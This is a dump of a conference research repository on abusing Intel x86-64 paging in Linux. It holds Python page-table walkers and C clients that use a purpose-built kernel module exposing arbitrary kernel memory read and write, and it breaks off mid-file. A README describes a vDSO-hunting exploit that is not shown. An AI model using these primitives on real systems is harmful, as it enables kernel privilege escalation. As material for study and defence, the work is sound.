├── Demos └── Linux │ ├── PageWalker │ ├── PageWalker.py │ └── v2 │ │ └── PageWalker.py │ ├── README.md │ ├── client │ ├── Makefile │ ├── client.c │ ├── old │ │ ├── client-backup.c │ │ ├── client_consume_memory.c │ │ └── test.c │ └── requirements.txt │ ├── driver │ ├── Makefile │ ├── install.sh │ └── kernetix.c │ ├── exploits │ ├── Makefile │ ├── kexploit │ └── kexploit_x64.c │ └── include │ └── kernetix.h ├── LICENSE ├── Presentation ├── CanSec2016_Presentation.pdf └── CanSec2016_Presentation.pptx └── README.md /Demos/Linux/PageWalker/PageWalker.py: -------------------------------------------------------------------------------- 1 | from subprocess import Popen, PIPE 2 | import re 3 | import time 4 | 5 | 6 | class PMLX(object): 7 | 8 | @classmethod 9 | def pxe_to_virtual_page(cls, pxe): 10 | "pxe comes in this form: 67 d0 30 7b 00 00 00 00" 11 | try: 12 | octets = pxe.split() 13 | virtual = "0xffff8800" + octets[3] + octets[2] + octets[1][0] + "000" 14 | return virtual 15 | except: 16 | return pxe 17 | 18 | @property 19 | def is_large_page(self): 20 | if self.entry[0] == "e": 21 | return True 22 | return False 23 | 24 | def __init__(self, level, pxe_entry): 25 | self.level = level 26 | self.entry = pxe_entry 27 | self.virtual_address = self.pxe_to_virtual_page(pxe_entry) 28 | self.pmlx_entries = [] 29 | 30 | def __iter__(self): 31 | return iter(self.pmlx_entries) 32 | 33 | class PageWalker(object): 34 | 35 | REGEX = r"\| (.+) \|" 36 | 37 | def __init__(self, tmp_filename): 38 | self.fw = open(tmp_filename, "wb") 39 | self.fr = open(tmp_filename, "r") 40 | self.p = Popen("./client", stdin=PIPE, stdout=self.fw, stderr=self.fw, bufsize=1) 41 | self.page_tree = None 42 | self.pxe_pattern = re.compile(self.REGEX) 43 | self._skip_menu() 44 | 45 | def __enter__(self): 46 | return self 47 | 48 | def __exit__(self, type, value, traceback): 49 | print "Error: ", traceback 50 | self.fw.close() 51 | self.fr.close() 52 | 53 | def _skip_menu(self): 54 | time.sleep(0.2) 55 | self.fr.read(0x1000) 56 | 57 | def find_common_frames(self, page_tree): 58 | tree1_entries = [] 59 | tree2_entries = [] 60 | 61 | print "Finding Common entries..." 62 | 63 | for pdpt in self.page_tree: 64 | tree1_entries.append("PDPT " + pdpt.virtual_address) 65 | for pd in pdpt: 66 | tree1_entries.append("PD " + pd.virtual_address) 67 | for pt in pd: 68 | tree1_entries.append("PT " + pt.virtual_address) 69 | #for pte in pt: 70 | # tree1_entries.append("PTE " + pte.virtual_address) 71 | 72 | for pdpt in page_tree: 73 | tree2_entries.append("PDPT " + pdpt.virtual_address) 74 | for pd in pdpt: 75 | tree2_entries.append("PD " + pd.virtual_address) 76 | for pt in pd: 77 | tree2_entries.append("PT " + pt.virtual_address) 78 | #for pte in pt: 79 | # tree2_entries.append("PTE " + pte.virtual_address) 80 | 81 | for entry in tree1_entries: 82 | if entry in tree2_entries: 83 | print "Common Entry: ", entry 84 | #else: 85 | # print "Uncommon Entry", entry 86 | 87 | def read_cr3(self): 88 | self.p.stdin.write("cr3\n") 89 | time.sleep(0.2) 90 | outline = self.fr.read() 91 | cr3 = next(_ for _ in outline.split() if _[0:2] == "0x") 92 | return cr3 93 | 94 | def read_pmlx_entries(self, pmlx_base, level, sleep_time, virtual_address, bytes): 95 | line = "r %s %x\n" % (virtual_address, bytes) 96 | self.p.stdin.write(line) 97 | time.sleep(sleep_time) 98 | output = self.fr.read() 99 | for match in self.pxe_pattern.finditer(output): 100 | line = match.group(1) 101 | entry = line[0:23] 102 | if entry != "00 00 00 00 00 00 00 00": 103 | pmlx_base.pmlx_entries.append(PMLX(level=level, pxe_entry=entry)) 104 | entry = line[24:] 105 | if entry != "00 00 00 00 00 00 00 00": 106 | pmlx_base.pmlx_entries.append(PMLX(level=level, pxe_entry=entry)) 107 | 108 | 109 | def walk_structures(self, callback): 110 | cr3 = self.read_cr3() 111 | self.page_tree = PMLX(level="PML4", pxe_entry=cr3) 112 | # Read PML4 Entries 113 | # with grsec only the first 8 entries are filled 114 | self.read_pmlx_entries(self.page_tree, "PDPT", 0.2, cr3, 0x40) 115 | for pml4e in self.page_tree: 116 | print "PDPT: %s : %s" % (pml4e.virtual_address, pml4e.entry) 117 | self.read_pmlx_entries(pml4e, "PD", 1, pml4e.virtual_address, 0x1000) 118 | for pdpte in pml4e: 119 | print " PD: %s : %s" % (pdpte.virtual_address, pdpte.entry) 120 | self.read_pmlx_entries(pdpte, "PT", 1, pdpte.virtual_address, 0x1000) 121 | for pde in pdpte: 122 | print " PT: %s : %s" % (pde.virtual_address, pde.entry) 123 | #self.read_pmlx_entries(pde, "PT Entries", 1, pde.virtual_address, 0x1000) 124 | #for pte in pde: 125 | # print " PT Entry: %s : %s" % (pte.virtual_address, pte.entry) 126 | 127 | 128 | if __name__ == "__main__": 129 | #with PageWalker("tmpout") as pageWalker: 130 | # pageWalker.walk_structures(callback=None) 131 | 132 | p1 = PageWalker("tmpout1") 133 | p1.walk_structures(callback=None) 134 | p2 = PageWalker("tmpout2") 135 | p2.walk_structures(callback=None) 136 | 137 | p2.find_common_frames(p1.page_tree) 138 | 139 | 140 | -------------------------------------------------------------------------------- /Demos/Linux/PageWalker/v2/PageWalker.py: -------------------------------------------------------------------------------- 1 | from subprocess import Popen, PIPE 2 | import re 3 | import time 4 | 5 | 6 | class PMLX(object): 7 | 8 | @classmethod 9 | def pxe_to_virtual_page(cls, pxe): 10 | "pxe comes in this form: 67 d0 30 7b 00 00 00 00" 11 | try: 12 | octets = pxe.split() 13 | virtual = "0xffff8800" + octets[3] + octets[2] + octets[1][0] + "000" 14 | return virtual 15 | except: 16 | return pxe 17 | 18 | @property 19 | def is_null_entry(self): 20 | if self.entry == "00 00 00 00 00 00 00 00": 21 | return True 22 | return False 23 | 24 | @property 25 | def is_large_page(self): 26 | if self.entry[0] == "e": 27 | return True 28 | return False 29 | 30 | def __init__(self, level, pxe_entry): 31 | self.level = level 32 | self.entry = pxe_entry 33 | self.virtual_address = self.pxe_to_virtual_page(pxe_entry) 34 | self.pmlx_entries = [] 35 | 36 | def __iter__(self): 37 | return iter(self.pmlx_entries) 38 | 39 | class PageWalker(object): 40 | 41 | REGEX = r"\| (.+) \|" 42 | 43 | def __init__(self, tmp_filename): 44 | self.fw = open(tmp_filename, "wb") 45 | self.fr = open(tmp_filename, "r") 46 | self.p = Popen("./client", stdin=PIPE, stdout=self.fw, stderr=self.fw, bufsize=1) 47 | self.page_tree = None 48 | self.pxe_pattern = re.compile(self.REGEX) 49 | self._skip_menu() 50 | 51 | def __enter__(self): 52 | return self 53 | 54 | def __exit__(self, type, value, traceback): 55 | print "Error: ", traceback 56 | self.fw.close() 57 | self.fr.close() 58 | 59 | def _skip_menu(self): 60 | time.sleep(0.2) 61 | self.fr.read(0x1000) 62 | 63 | def find_common_frames(self, page_tree): 64 | tree1_entries = [] 65 | tree2_entries = [] 66 | 67 | print "Finding Common entries..." 68 | 69 | for pdpt in self.page_tree: 70 | tree1_entries.append("PDPT " + pdpt.virtual_address) 71 | for pd in pdpt: 72 | tree1_entries.append("PD " + pd.virtual_address) 73 | for pt in pd: 74 | tree1_entries.append("PT " + pt.virtual_address) 75 | for pte in pt: 76 | tree1_entries.append("PTE " + pte.virtual_address) 77 | 78 | for pdpt in page_tree: 79 | tree2_entries.append("PDPT " + pdpt.virtual_address) 80 | for pd in pdpt: 81 | tree2_entries.append("PD " + pd.virtual_address) 82 | for pt in pd: 83 | tree2_entries.append("PT " + pt.virtual_address) 84 | for pte in pt: 85 | tree2_entries.append("PTE " + pte.virtual_address) 86 | 87 | for entry in tree1_entries: 88 | if entry in tree2_entries: 89 | print "Common Entry: ", entry 90 | else: 91 | print "Uncommon Entry", entry 92 | 93 | def read_cr3(self): 94 | self.p.stdin.write("cr3\n") 95 | time.sleep(0.2) 96 | outline = self.fr.read() 97 | cr3 = next(_ for _ in outline.split() if _[0:2] == "0x") 98 | return hex(int(cr3,16) + 0xffff880000000000)[:-1] 99 | 100 | def read_pmlx_entries(self, pmlx_base, level, sleep_time, virtual_address, bytes): 101 | line = "r %s %x\n" % (virtual_address, bytes) 102 | print "LINE: %s - base: %s - level: %s" %(line[:-1], pmlx_base.virtual_address, level) 103 | self.p.stdin.write(line) 104 | time.sleep(sleep_time) 105 | output = self.fr.read() 106 | for match in self.pxe_pattern.finditer(output): 107 | line = match.group(1) 108 | entry = line[0:23] 109 | # if entry != "00 00 00 00 00 00 00 00": 110 | pmlx_base.pmlx_entries.append(PMLX(level=level, pxe_entry=entry)) 111 | entry = line[24:] 112 | # if entry != "00 00 00 00 00 00 00 00": 113 | pmlx_base.pmlx_entries.append(PMLX(level=level, pxe_entry=entry)) 114 | 115 | def _add_offset(self, base, offset): 116 | return hex(int(base,16) + offset)[:-1] 117 | 118 | def walk_structures(self, callback): 119 | f = open("output.txt", "wt") 120 | cr3 = self.read_cr3() 121 | self.page_tree = PMLX(level="PML4", pxe_entry=cr3) 122 | # Read PML4 Entries 123 | # with grsec only the first 8 entries are filled 124 | #print "CR3: \n", cr3 125 | f.write("CR3: %s \n" % cr3) 126 | self.read_pmlx_entries(self.page_tree, "PDPT", 1, cr3, 0x1000) 127 | covered_memory = 0 128 | for index_pml4e, pml4e in enumerate(self.page_tree): 129 | if index_pml4e == 0x110: # only dump PTEs for the autoref entry 0x110 130 | if not pml4e.is_null_entry: 131 | #print "%s - PDPT: %s : %s\n" % (self._add_offset(cr3, index_pml4e*8), pml4e.entry, pml4e.virtual_address) 132 | f.write("%s - PDPT: %s : %s\n" % (self._add_offset(cr3, index_pml4e*8), pml4e.entry, pml4e.virtual_address)) 133 | self.read_pmlx_entries(pml4e, "PD", 1, pml4e.virtual_address, 0x1000) 134 | 135 | for index_pdpte, pdpte in enumerate(pml4e): 136 | if not pdpte.is_null_entry: 137 | #print " %s - PD: %s : %s" % (self._add_offset(pml4e.virtual_address,index_pdpte*8), pdpte.entry, pdpte.virtual_address) 138 | f.write(" %s - PD: %s : %s\n" % (self._add_offset(pml4e.virtual_address,index_pdpte*8), pdpte.entry, pdpte.virtual_address)) 139 | self.read_pmlx_entries(pdpte, "PT", 1, pdpte.virtual_address, 0x1000) 140 | #if pml4e.virtual_address == "0xffff8800019f0000": # only dump PTEs for the autoref entry 0x110 141 | for index_pde, pde in enumerate(pdpte): 142 | if not pde.is_null_entry: 143 | if pde.is_large_page: 144 | covered_memory += 2048 # 2MB (in KB) 145 | #print " %s - PT: %s : %s - %10d KB - %10d MB - %10d GB" % (self._add_offset(pdpte.virtual_address,index_pde*8), pde.entry, pde.virtual_address, covered_memory, covered_memory/1024, covered_memory/1048576) 146 | f.write(" %s - PT: %s : %s - %10d KB - %10d MB - %10d GB\n" % (self._add_offset(pdpte.virtual_address,index_pde*8), pde.entry, pde.virtual_address, covered_memory, covered_memory/1024, covered_memory/1048576)) 147 | self.read_pmlx_entries(pde, "PT Entries", 1, pde.virtual_address, 0x1000) 148 | continue 149 | else: 150 | #print " %s - PT: %s : %s" % (self._add_offset(pdpte.virtual_address,index_pde*8), pde.entry, pde.virtual_address) 151 | f.write(" %s - PT: %s : %s\n" % (self._add_offset(pdpte.virtual_address,index_pde*8), pde.entry, pde.virtual_address)) 152 | self.read_pmlx_entries(pde, "PT Entries", 1, pde.virtual_address, 0x1000) 153 | for index_pte, pte in enumerate(pde): 154 | covered_memory += 4 # 4k 155 | if not pte.is_null_entry: 156 | #print " %s - PT Entry: %s : %s - %10d KB - %10d MB - %10d GB" % (self._add_offset(pde.virtual_address, index_pte*8), pte.entry, pte.virtual_address, covered_memory, covered_memory/1024, covered_memory/1048576) 157 | f.write(" %s - PT Entry: %s : %s - %10d KB - %10d MB - %10d GB\n" % (self._add_offset(pde.virtual_address, index_pte*8), pte.entry, pte.virtual_address, covered_memory, covered_memory/1024, covered_memory/1048576)) 158 | else: 159 | covered_memory += 2048 # 2MB (in KB) 160 | else: 161 | covered_memory += 1048576 # 1GB (in KB) 162 | else: 163 | covered_memory += 536870912 # 512GB (in KB) 164 | 165 | f.close() 166 | 167 | 168 | if __name__ == "__main__": 169 | with PageWalker("tmpout") as pageWalker: 170 | pageWalker.walk_structures(callback=None) 171 | 172 | #p1 = PageWalker("tmpout1") 173 | #p1.walk_structures(callback=None) 174 | #p2 = PageWalker("tmpout2") 175 | #p2.walk_structures(callback=None) 176 | 177 | #p2.find_common_frames(p1.page_tree) 178 | 179 | 180 | -------------------------------------------------------------------------------- /Demos/Linux/README.md: -------------------------------------------------------------------------------- 1 | # CansecWest2016 Getting Physical: Extreme Abuse of Intel Based Paging Systems 2 | 3 | LKM supporting an IOCTL to write/read arbitrary memory 4 | 5 | Client for talking to the LKM, used for debugging and analysis purposes 6 | 7 | PageWalker: a wrapper over the C Client to dump all the page tables of a process. Used for analysis. 8 | 9 | Exploit: An exploit that uses the LKM to write only once a self reference entry into the paging structures of the system. Then dumps physical memory page by page until it finds the vDSO. 10 | 11 | ## Authors 12 | * [Nicolas Economou](https://twitter.com/NicoEconomou) 13 | * [Enrique Nissim](https://twitter.com/kiqueNissim) 14 | -------------------------------------------------------------------------------- /Demos/Linux/client/Makefile: -------------------------------------------------------------------------------- 1 | IDIR =../include 2 | CC=gcc 3 | CFLAGS=-I$(IDIR) 4 | 5 | 6 | _DEPS = kernetix.h 7 | DEPS = $(patsubst %,$(IDIR)/%,$(_DEPS)) 8 | 9 | 10 | %.o: %.c $(DEPS) 11 | $(CC) -c -o $@ $< $(CFLAGS) 12 | 13 | client: client.c 14 | gcc -o client client.c -lreadline $(CFLAGS) 15 | 16 | -------------------------------------------------------------------------------- /Demos/Linux/client/client.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** A test program for kernetix kernel module 3 | ** 4 | */ 5 | 6 | #include "kernetix.h" 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | 17 | /* 18 | void error(char *message) 19 | { 20 | printf("%s\n", message); 21 | exit(-1); 22 | } 23 | */ 24 | 25 | void usage(void) 26 | { 27 | printf("\n-- LKM -Client- -- \n"); 28 | printf("Usage for reading: r
bytes-to-read\n"); 29 | printf("Usage for writing: w
\n"); 30 | printf("Usage for CR3: cr3\n"); 31 | printf("Usage for reading as ring3: ru
bytes-to-read\n"); 32 | } 33 | 34 | /* 35 | char *read_command(void) 36 | { 37 | char c; 38 | int i = 0; 39 | char *buffer = calloc(1, 256); 40 | if (!buffer) 41 | error("read_command failed allocation"); 42 | 43 | while(i < 255) 44 | { 45 | c = getchar(); 46 | if (c == EOF || c == '\n') 47 | { 48 | return buffer; 49 | } 50 | buffer[i] = c; 51 | i++; 52 | } 53 | 54 | return buffer; 55 | } 56 | */ 57 | 58 | char **parse_arguments(char *command_line) 59 | { 60 | const char delim[2] = " "; 61 | char **args = calloc(1, 0x40); 62 | char *token; 63 | char **p = args; 64 | unsigned int argc = 1; 65 | 66 | p++; 67 | token = strtok(command_line, delim); 68 | while(token != NULL) 69 | { 70 | *p = token; 71 | token = strtok(NULL, delim); 72 | p++; 73 | argc++; 74 | } 75 | 76 | *(unsigned int *)&args[0] = argc; 77 | 78 | return args; 79 | } 80 | 81 | ////////////////////////////////////////////////////////////////////////////////////////////// 82 | 83 | void print_memory ( unsigned long address , char *buffer , unsigned int bytes_to_print ) 84 | { 85 | unsigned int cont; 86 | unsigned int i; 87 | const unsigned short bytes = 16; 88 | 89 | /* Print the lines */ 90 | for ( cont = 0 ; cont < bytes_to_print ; cont = cont + bytes ) 91 | { 92 | printf ( "%p | " , (void *)address ); 93 | address = address + bytes; 94 | 95 | for ( i = 0 ; i < bytes ; i ++ ) 96 | { 97 | if ( i < ( bytes_to_print - cont ) ) 98 | { 99 | printf ( "%.2x " , ( unsigned char ) buffer [ i + cont ] ); 100 | } 101 | else 102 | { 103 | printf ( " " ); 104 | } 105 | } 106 | 107 | //Space between two columns 108 | printf ( "| " ); 109 | 110 | //Print the characters 111 | for ( i = 0 ; i < bytes ; i ++ ) 112 | { 113 | if ( i < ( bytes_to_print - cont ) ) 114 | { 115 | printf ( "%c" , ( isgraph ( buffer [ i + cont ] ) ) ? buffer [ i + cont ] : '.' ); 116 | } 117 | else 118 | { 119 | printf ( " " ); 120 | } 121 | } 122 | printf ( "\n" ); 123 | } 124 | } 125 | 126 | ////////////////////////////////////////////////////////////////////////////////////////////// 127 | 128 | void execute_command(unsigned int argc, char **argv) 129 | { 130 | int fd, ret_val; 131 | char device_name[256]; 132 | unsigned long address; 133 | unsigned int cont; 134 | unsigned int size; 135 | char *buffer; 136 | 137 | //int myvar = 1; 138 | struct _kernel_read *kread = NULL; 139 | struct _kernel_write *kwrite = NULL; 140 | unsigned long cr3 = 0; 141 | 142 | memset(device_name, 0x00, sizeof(device_name)); 143 | sprintf(device_name, "/dev/%s0", KERNETIX_DEVICE_NAME); 144 | 145 | fd = open(device_name, 0); 146 | if (fd < 0) 147 | { 148 | printf("Can't open device file: %s\n", device_name); 149 | exit(-1); 150 | } 151 | 152 | if (strcmp(argv[1],"r") == 0) 153 | { 154 | if (argc < 4) 155 | { 156 | usage(); 157 | return; 158 | } 159 | 160 | kread = (struct _kernel_read *) malloc(sizeof(struct _kernel_read)); 161 | memset(kread, 0x00, sizeof(struct _kernel_read)); 162 | 163 | address = strtoul(argv[2], NULL, 16); 164 | //printf ("We 're sending %p\n", (int *)kread->address); 165 | 166 | // Size to be read 167 | size = (unsigned int) strtoul(argv[3], NULL, 16); 168 | buffer = malloc ( size ); 169 | 170 | for ( cont = 0 ; cont < size ; cont += sizeof ( unsigned long ) ) 171 | { 172 | // Reading next address 173 | kread->address = ( void * ) ( address + cont ); 174 | 175 | if (!ioctl(fd, KERNETIX_ABR, kread)) 176 | { 177 | //printf("Content of %p --> %p\n", (int *)kread->address, (int *)kread->value); 178 | * ( unsigned long * ) &buffer [ cont ] = ( unsigned long ) kread->value; 179 | } 180 | else 181 | { 182 | printf("Problem during IOCTL\n"); 183 | } 184 | } 185 | 186 | // Printing memory 187 | print_memory ( ( unsigned long ) address , buffer , size ); 188 | 189 | // Freeing memory 190 | free (buffer); 191 | free(kread); 192 | } 193 | 194 | else if (strcmp(argv[1],"w") == 0) 195 | { 196 | if (argc < 4) 197 | { 198 | usage(); 199 | return; 200 | } 201 | //printf("Addres of myvar: %p - Value: %d\n", &myvar, myvar); 202 | 203 | kwrite = (struct _kernel_write *)malloc(sizeof(kwrite)); 204 | memset(kwrite, 0x00, sizeof(kwrite)); 205 | 206 | //kwrite->address = &myvar; 207 | kwrite->address = (void *) strtoul(argv[2], NULL, 16); 208 | kwrite->value = (void *)strtoul(argv[3], NULL, 16); 209 | 210 | printf("You 're about to patch %p with %p\n", (int *)kwrite->address, (int *)kwrite->value); 211 | 212 | if (!ioctl(fd, KERNETIX_ABW, kwrite)) 213 | { 214 | printf("Yay.. we're writing!...\n"); 215 | printf("The old value was: %p\n", (int *)kwrite->old_value); 216 | //printf("Value of myvar: %d\n", myvar); 217 | } 218 | else 219 | { 220 | printf("Problem during IOCTL\n"); 221 | } 222 | 223 | free(kwrite); 224 | } 225 | 226 | else if (strcmp(argv[1],"cr3") == 0) 227 | { 228 | if (!ioctl(fd, KERNETIX_CR3, &cr3)) 229 | { 230 | printf("CR3 Value --> %p\n", (void *)cr3); 231 | } 232 | else 233 | { 234 | printf("Problem during IOCTL\n"); 235 | } 236 | } 237 | 238 | else if (strcmp(argv[1],"ru") == 0) 239 | { 240 | address = strtoul(argv[2], NULL, 16); 241 | // Size to be read 242 | size = (unsigned int) strtoul(argv[3], NULL, 16); 243 | buffer = malloc ( size ); 244 | 245 | for ( cont = 0 ; cont < size ; cont += sizeof ( unsigned long ) ) 246 | { 247 | *(unsigned long *) &buffer[cont] = (unsigned long) *(void **)(address + cont); 248 | } 249 | 250 | // Printing memory 251 | print_memory ( ( unsigned long ) address , buffer , size ); 252 | 253 | // Freeing memory 254 | free ( buffer ); 255 | 256 | } 257 | 258 | close(fd); 259 | } 260 | 261 | int main(int argc, char **argv) 262 | { 263 | char *command_line; 264 | char **args; 265 | int i; 266 | 267 | rl_bind_key('\t',rl_abort);//disable auto-complete 268 | 269 | usage(); 270 | do { 271 | 272 | //command_line = read_command(); 273 | command_line = readline("\n >> "); 274 | add_history(command_line); 275 | 276 | args = parse_arguments(command_line); 277 | 278 | execute_command((unsigned int)args[0], args); 279 | free(command_line); 280 | free(args); 281 | } while (1); 282 | 283 | return 0; 284 | } -------------------------------------------------------------------------------- /Demos/Linux/client/old/client-backup.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** A test program for kernetix kernel module 3 | ** 4 | */ 5 | 6 | #include "kernetix.h" 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | void error(char *message) 15 | { 16 | printf("%s\n", message); 17 | exit(-1); 18 | } 19 | 20 | void usage(void) 21 | { 22 | printf("-- LKM -Client- -- \n"); 23 | printf("Usage for reading: r
bytes-to-read\n"); 24 | printf("Usage for writing: w
\n"); 25 | printf("Usage for CR3: cr3\n"); 26 | } 27 | 28 | char *read_command(void) 29 | { 30 | char c; 31 | int i = 0; 32 | char *buffer = calloc(1, 256); 33 | if (!buffer) 34 | error("read_command failed allocation"); 35 | 36 | while(i < 255) 37 | { 38 | c = getchar(); 39 | if (c == EOF || c == '\n') 40 | { 41 | return buffer; 42 | } 43 | buffer[i] = c; 44 | i++; 45 | } 46 | 47 | return buffer; 48 | } 49 | 50 | char **parse_arguments(char *command_line) 51 | { 52 | const char delim[2] = " "; 53 | char **args = calloc(1, 32); 54 | char *token; 55 | char **p = args; 56 | int argc = 1; 57 | 58 | p++; 59 | token = strtok(command_line, delim); 60 | while(token != NULL) 61 | { 62 | *p = token; 63 | token = strtok(NULL, delim); 64 | p++; 65 | argc++; 66 | } 67 | 68 | args[0] = (char *)argc; 69 | 70 | return args; 71 | } 72 | 73 | ////////////////////////////////////////////////////////////////////////////////////////////// 74 | 75 | #define BYTES 16 76 | 77 | void print_memory ( unsigned int address , char *buffer , unsigned int bytes_to_print ) 78 | { 79 | unsigned int cont; 80 | unsigned int i; 81 | 82 | /* Print the lines */ 83 | for ( cont = 0 ; cont < bytes_to_print ; cont = cont + BYTES ) 84 | { 85 | /* Print memory address */ 86 | printf ( "%.8x | " , address ); 87 | 88 | /* increment address */ 89 | address = address + BYTES; 90 | 91 | /* print in hex */ 92 | for ( i = 0 ; i < BYTES ; i ++ ) 93 | { 94 | /* print as much as bytes_to_print */ 95 | if ( i < ( bytes_to_print - cont ) ) 96 | { 97 | printf ( "%.2x " , ( unsigned char ) buffer [ i + cont ] ); 98 | } 99 | else 100 | { 101 | printf ( " " ); 102 | } 103 | } 104 | 105 | /* Space between two columns */ 106 | printf ( "| " ); 107 | 108 | /* Print the characters */ 109 | for ( i = 0 ; i < BYTES ; i ++ ) 110 | { 111 | if ( i < ( bytes_to_print - cont ) ) 112 | { 113 | printf ( "%c" , ( isgraph ( buffer [ i + cont ] ) ) ? buffer [ i + cont ] : '.' ); 114 | } 115 | else 116 | { 117 | printf ( " " ); 118 | } 119 | } 120 | 121 | /* endline */ 122 | printf ( "\n" ); 123 | } 124 | } 125 | 126 | ////////////////////////////////////////////////////////////////////////////////////////////// 127 | 128 | void execute_command(int argc, char **argv) 129 | { 130 | int fd, ret_val; 131 | char device_name[256]; 132 | unsigned int address; 133 | unsigned int cont; 134 | unsigned int size; 135 | char *buffer; 136 | 137 | //int myvar = 1; 138 | struct _kernel_read *kread = NULL; 139 | struct _kernel_write *kwrite = NULL; 140 | 141 | memset(device_name, 0x00, sizeof(device_name)); 142 | sprintf(device_name, "/dev/%s0", KERNETIX_DEVICE_NAME); 143 | 144 | fd = open(device_name, 0); 145 | if (fd < 0) 146 | { 147 | printf("Can't open device file: %s\n", device_name); 148 | exit(-1); 149 | } 150 | 151 | if (strcmp(argv[1],"r") == 0) 152 | { 153 | if (argc < 4) 154 | { 155 | usage(); 156 | return; 157 | } 158 | 159 | kread = (struct _kernel_read *) malloc(sizeof(struct _kernel_read)); 160 | memset(kread, 0x00, sizeof(struct _kernel_read)); 161 | 162 | address = (unsigned int) strtoul(argv[2], NULL, 16); 163 | //printf ("We 're sending %p\n", (int *)kread->address); 164 | 165 | // Size to be read 166 | size = (unsigned int) strtoul(argv[3], NULL, 0); 167 | buffer = malloc ( size ); 168 | 169 | for ( cont = 0 ; cont < size ; cont += sizeof ( unsigned int ) ) 170 | { 171 | // Reading next DWORD 172 | kread->address = ( void * ) ( address + cont ); 173 | 174 | if (!ioctl(fd, KERNETIX_ABR, kread)) 175 | { 176 | //printf("Content of %p --> %p\n", (int *)kread->address, (int *)kread->value); 177 | * ( unsigned int * ) &buffer [ cont ] = ( unsigned int ) kread->value; 178 | } 179 | else 180 | { 181 | printf("Problem during IOCTL\n"); 182 | } 183 | } 184 | 185 | // Printing memory 186 | print_memory ( ( unsigned int ) address , buffer , size ); 187 | 188 | // Freeing memory 189 | free ( buffer ); 190 | free(kread); 191 | } 192 | 193 | else if (strcmp(argv[1],"w") == 0) 194 | { 195 | if (argc < 4) 196 | { 197 | usage(); 198 | return; 199 | } 200 | //printf("Addres of myvar: %p - Value: %d\n", &myvar, myvar); 201 | 202 | kwrite = (struct _kernel_write *)malloc(sizeof(kwrite)); 203 | memset(kwrite, 0x00, sizeof(kwrite)); 204 | 205 | //kwrite->address = &myvar; 206 | kwrite->address = (void *) strtoul(argv[2], NULL, 16); 207 | kwrite->value = (void *)strtoul(argv[3], NULL, 16); 208 | 209 | printf("You 're about to patch %p with %p\n", (int *)kwrite->address, (int *)kwrite->value); 210 | 211 | if (!ioctl(fd, KERNETIX_ABW, kwrite)) 212 | { 213 | printf("Yay.. we're writing!...\n"); 214 | printf("The old value was: %p\n", (int *)kwrite->old_value); 215 | //printf("Value of myvar: %d\n", myvar); 216 | } 217 | else 218 | { 219 | printf("Problem during IOCTL\n"); 220 | } 221 | 222 | free(kwrite); 223 | } 224 | 225 | else if (strcmp(argv[1],"cr3") == 0) 226 | { 227 | if (!ioctl(fd, KERNETIX_CR3, NULL)) 228 | { 229 | printf("Check syslog to view CR3 Content\n"); 230 | } 231 | else 232 | { 233 | printf("Problem during IOCTL\n"); 234 | } 235 | } 236 | 237 | close(fd); 238 | } 239 | 240 | int main(int argc, char **argv) 241 | { 242 | char *command_line; 243 | char **args; 244 | int i; 245 | 246 | usage(); 247 | do { 248 | printf(">> "); 249 | command_line = read_command(); 250 | args = parse_arguments(command_line); 251 | 252 | execute_command((int)args[0], args); 253 | 254 | free(command_line); 255 | free(args); 256 | } while (1); 257 | 258 | return 0; 259 | } -------------------------------------------------------------------------------- /Demos/Linux/client/old/client_consume_memory.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** A test program for kernetix kernel module 3 | ** 4 | */ 5 | 6 | #include "kernetix.h" 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | 20 | /* 21 | void error(char *message) 22 | { 23 | printf("%s\n", message); 24 | exit(-1); 25 | } 26 | */ 27 | 28 | void usage(void) 29 | { 30 | printf("\n-- LKM -Client- -- \n"); 31 | printf("Usage for reading: r
bytes-to-read\n"); 32 | printf("Usage for writing: w
\n"); 33 | printf("Usage for CR3: cr3\n"); 34 | printf("Usage for reading as ring3: ru
bytes-to-read\n"); 35 | } 36 | 37 | #define alloc_size 0x100000 38 | 39 | int return_true(int arg) 40 | { 41 | return arg+1; 42 | } 43 | 44 | int fdX = 0; 45 | void *mappedFile = NULL; 46 | 47 | void alloc_memory(void) 48 | {/* 49 | void *array[alloc_size]; 50 | void *p; 51 | int i; 52 | for (i = 0; i < alloc_size; i++) 53 | { 54 | p = malloc(0x1000); 55 | memset(p, 0x41, 0x1000); 56 | array[i] = p; 57 | } 58 | for (i = 0; i < alloc_size; i++) 59 | { 60 | if (i%2 == 0) 61 | free(array[i]); 62 | } 63 | */ 64 | fdX = open("/dev/null", O_RDWR); 65 | mappedFile = mmap(NULL, alloc_size, PROT_READ, MAP_SHARED, fdX, alloc_size); 66 | printf("mmaped data: %p\n", mappedFile); 67 | } 68 | 69 | char **parse_arguments(char *command_line) 70 | { 71 | const char delim[2] = " "; 72 | char **args = calloc(1, 0x40); 73 | char *token; 74 | char **p = args; 75 | unsigned int argc = 1; 76 | 77 | p++; 78 | token = strtok(command_line, delim); 79 | while(token != NULL) 80 | { 81 | *p = token; 82 | token = strtok(NULL, delim); 83 | p++; 84 | argc++; 85 | } 86 | 87 | *(unsigned int *)&args[0] = argc; 88 | 89 | return args; 90 | } 91 | 92 | ////////////////////////////////////////////////////////////////////////////////////////////// 93 | 94 | void print_memory ( unsigned long address , char *buffer , unsigned int bytes_to_print ) 95 | { 96 | unsigned int cont; 97 | unsigned int i; 98 | const unsigned short bytes = 16; 99 | 100 | /* Print the lines */ 101 | for ( cont = 0 ; cont < bytes_to_print ; cont = cont + bytes ) 102 | { 103 | printf ( "%p | " , (void *)address ); 104 | address = address + bytes; 105 | 106 | for ( i = 0 ; i < bytes ; i ++ ) 107 | { 108 | if ( i < ( bytes_to_print - cont ) ) 109 | { 110 | printf ( "%.2x " , ( unsigned char ) buffer [ i + cont ] ); 111 | } 112 | else 113 | { 114 | printf ( " " ); 115 | } 116 | } 117 | 118 | //Space between two columns 119 | printf ( "| " ); 120 | 121 | //Print the characters 122 | for ( i = 0 ; i < bytes ; i ++ ) 123 | { 124 | if ( i < ( bytes_to_print - cont ) ) 125 | { 126 | printf ( "%c" , ( isgraph ( buffer [ i + cont ] ) ) ? buffer [ i + cont ] : '.' ); 127 | } 128 | else 129 | { 130 | printf ( " " ); 131 | } 132 | } 133 | printf ( "\n" ); 134 | 